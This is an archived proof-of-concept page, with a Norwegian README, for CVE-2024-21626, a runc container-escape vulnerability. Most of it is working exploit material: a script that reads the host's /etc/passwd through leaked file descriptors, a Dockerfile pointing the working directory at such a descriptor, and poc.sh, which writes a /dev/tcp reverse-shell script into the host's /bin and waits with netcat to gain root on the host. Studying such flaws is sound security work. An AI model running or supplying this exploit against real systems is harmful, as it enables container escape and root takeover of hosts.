Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-21626 PoC — runc 安全漏洞

Source
Associated Vulnerability
Title:runc 安全漏洞 (CVE-2024-21626)
Description:runc是一款用于根据OCI规范生成和运行容器的CLI(命令行界面)工具。 runc 1.1.12之前版本存在安全漏洞,该漏洞源于fds 内部泄漏,导致多个容器发生泄漏。
Description
POC
Readme
# CVE-2024-21626
POC

# Avhengigheter
## runc 1.1.0 <= 1.1.11

# Installasjon av sårbart miljø
## Sett opp en VM med Ubuntu 20.04 og deretter laster du ned docker ved å følge guiden på deres nettside
```
https://docs.docker.com/engine/install/ubuntu/
```

## Endre patchet 'runc' versjon i Docker til sårbar 'runc' versjon
Last ned sårbar versjon (runc 1.1.11 og tidligere) fra github repo til runc:
https://github.com/opencontainers/runc/releases  
Valgte her runc.amd64 (avhengighet)
![runc_1111](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/10ca92b4-a598-4e6a-9d55-092ee66528a9)

# Selve exploit
## Kjør verify.sh skriptet
```
#! /bin/bash
for i in {4..20}; do
	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
/proc/self/cwd/../../../etc/passwd"
done
```
![verify](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/d8c0844f-8b57-45e2-a12c-1e3830bfb426)
## Endre working directory i Dockerfile til riktig fd som du fant ved å kjøre verify.sh:

```
FROM ubuntu:20.04
RUN apt-get update -y && apt-get install netcat -y
ADD ./poc.sh /poc.sh
WORKDIR /proc/self/fd/9
```

## Bygg konteineren
```
docker build . -t navn_konteiner
```

## poc.sh
```
#!/bin/bash
ip=$(hostname -I | awk '{print $1}')
port=1337
cat > /proc/self/cwd/../../../bin/bash.copy << EOF
#!/bin/bash
bash -i >& /dev/tcp/$ip/$port 0>&1
EOF

# listen and wait for reverse shell
nc -lvvp 1337
```

## Kjør imaget på konteineren og kjør poc.sh i bash shell
```
docker run -it --rm cve2024 bash /poc.sh
```

## Konteineren går i lytte modus
![lytte](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/d4373d7e-3efb-49ce-ad6a-041befaa6b8c)

## På root på vertsmaskinen kan vi se at det er laget et nytt skript ved filbanen ```/proc/self/cwd/../../../bin/``` kalt 'bash.copy'
![bash](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/06c20037-d198-421d-b115-f8ca4c11b257)
## Ved å gjøre det nye skriptet kjørbart, samt eksekvering av skriptet
```
chmod +x bash.copy
./bash.copy
```
## Oppnår du et reverse shell i konteineren som er root på vertsmaskinen
![root](https://github.com/KubernetesBachelor/CVE-2024-21626/assets/110845662/136de911-d58f-462d-ab94-1f5ca19d0376)
# Kilde
https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0
File Snapshot

[4.0K] /data/pocs/48e3e51293c34c3ba3cf3dae3b88463d1d05e548 ├── [837K] lytte.png ├── [2.3K] README.md ├── [1.1M] root.png ├── [1.1M] runc_1111.png └── [2.2M] verify.png 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.